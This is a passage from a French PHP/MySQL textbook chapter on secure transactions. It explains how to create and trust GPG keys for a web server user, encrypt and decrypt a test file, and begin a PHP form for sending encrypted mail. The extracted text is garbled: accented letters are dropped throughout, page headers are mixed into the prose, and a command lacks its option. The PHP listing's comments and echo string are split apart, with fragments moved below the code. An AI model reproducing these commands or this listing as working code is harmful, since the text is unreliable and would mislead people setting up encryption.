Lutilisateur nobody doit possder sa propre cl de signature. Pour la crer, excutez


nouveau la commande suivante :
gpg --gen-key

410

Partie III

Scurit

Comme votre utilisateur nobody reoit probablement trs peu de courriers personnels,
vous pouvez lui crer une cl de signature qui lui est propre. Le seul intrt de cette
cl est de nous permettre de faire confiance la cl publique qui a t extraite prcdemment.
Pour importer la cl publique que nous avons exporte auparavant, servez-vous de la
commande suivante :
gpg --import nom_fichier

Pour indiquer GPG que nous souhaitons faire confiance cette cl, nous devons modifier
les proprits de cette cl avec la commande suivante :
gpg --edit-key Luke Welling <luke@tangledweb.com.au>

Sur cette ligne, le texte entre guillemets correspond au nom de la cl. Naturellement, le
nom de votre cl sera non pas Luke Welling <luke@tangledweb.com.au>, mais une
combinaison du nom, du commentaire et de ladresse de courrier que vous avez fournis
lors de sa cration.
Parmi les options de ce programme, vous pouvez utiliser help, qui dcrit les commandes
disponibles : trust, sign et save.
Tapez trust pour indiquer GPG que vous faites entirement confiance la cl. Choisissez sign pour signer cette cl publique laide de la cl prive de nobody. Enfin,
saisissez save pour sortir de ce programme en enregistrant vos modifications.
Tester GPG
GPG devrait maintenant tre configur et prt lemploi.
Pour le tester, nous pouvons crer un fichier texte et lenregistrer sous le nom test.txt.
Saisissez la commande suivante ( adapter en fonction du nom de votre cl) :
gpg -a --recipient Luke Welling <luke@tangledweb.com.au> --encrypt test.txt

et vous devriez obtenir lavertissement suivant :


gpg: Warning: using insecure memory!

En outre, un fichier appel test.txt.asc devrait tre cr. Si vous ouvrez


test.txt.asc, vous devriez voir un message crypt ressemblant ceci :
-----BEGIN PGP MESSAGE----Version: GnuPG v1.0.3 (GNU/Linux)
Comment: For info see http://www.gnupg.org
hQEOA0DU7hVGgdtnEAQAhr4HgR7xpIBsK9CiELQw85+k1QdQ+p/FzqL8tICrQ+B3
0GJTEehPUDErwqUw/uQLTds0r1oPSrIAZ7c6GVkh0YEVBj2MskT81IIBvdo95OyH
K9PUCvg/rLxJ1kxe4Vp8QFET5E3FdII/ly8VP5gSTE7gAgm0SbFf3S91PqwMyTkD
/2oJEvL6e3cP384s0i8lrBbDbOUAAhCjjXt2DX/uX9q6P18QW56UICUOn4DPaW1G
/gnNZCkcVDgLcKfBjbkB/TCWWhpA7o7kX4CIcIh7KlIMHY4RKdnCWQf271oE+8i9

Chapitre 16

Transactions scurises avec PHP et MySQL

411

cJRSCMsFIoI6MMNRCQHY6p9bfxL2uE39IRJrQbe6xoEe0nkB0uTYxiL0TG+FrNrE
tvBVMS0nsHu7HJey+oY4Z833pk5+MeVwYumJwlvHjdZxZmV6wz46GO2XGT17b28V
wSBnWOoBHSZsPvkQXHTOq65EixP8y+YJvBN3z4pzdH0Xa+NpqbH7q3+xXmd30hDR
+u7t6MxTLDbgC+NR
=gfQu
-----END PGP MESSAGE-----

Vous devriez tre capable de transfrer ce fichier sur le systme o vous avez gnr
initialement la cl. Excutez ensuite la commande suivante :
gpg

test.txt.asc

pour retrouver votre message dorigine. Le texte sera crit dans un fichier portant le
mme nom quauparavant (dans le cas prsent, test.txt).
Pour que le texte soit affich lcran, utilisez loption d :
gpg -d test.txt.asc

Pour placer le texte dans un fichier de votre choix au lieu du nom par dfaut, vous
pouvez galement utiliser loption o et prciser un fichier de sortie, comme ceci :
gpg -do test.out test.txt.asc

Notez que le fichier de sortie est nomm en premier.


Si vous avez configur GPG pour que lutilisateur au nom duquel vos scripts PHP sont
excuts puisse sen servir partir de la ligne de commande, vous avez presque
termin. Si cela ne fonctionne pas, consultez votre administrateur systme ou la documentation de GPG.
Les Listings 16.1 et 16.2 permettent denvoyer des courriers chiffrs en utilisant PHP
pour appeler GPG.
Listing 16.1 : mail_prive.php Notre formulaire HTML pour envoyer des courriers chiffrs
<html>
<body>
<h1>Envoyez-moi un courrier priv</h1>
<?php
// Vous pouvez modifier cette ligne si vous
// dfaut: 80 pour un trafic normal et 443
if($_SERVER[SERVER_PORT]!= 443) {
echo "<p style=\"color: red\">ATTENTION:
cette page par SSL. Votre message
dautres.</p>";
}
?>

nutilisez pas les ports par


pour SSL.
vous ntes pas connect
pourrait tre lu par

<form me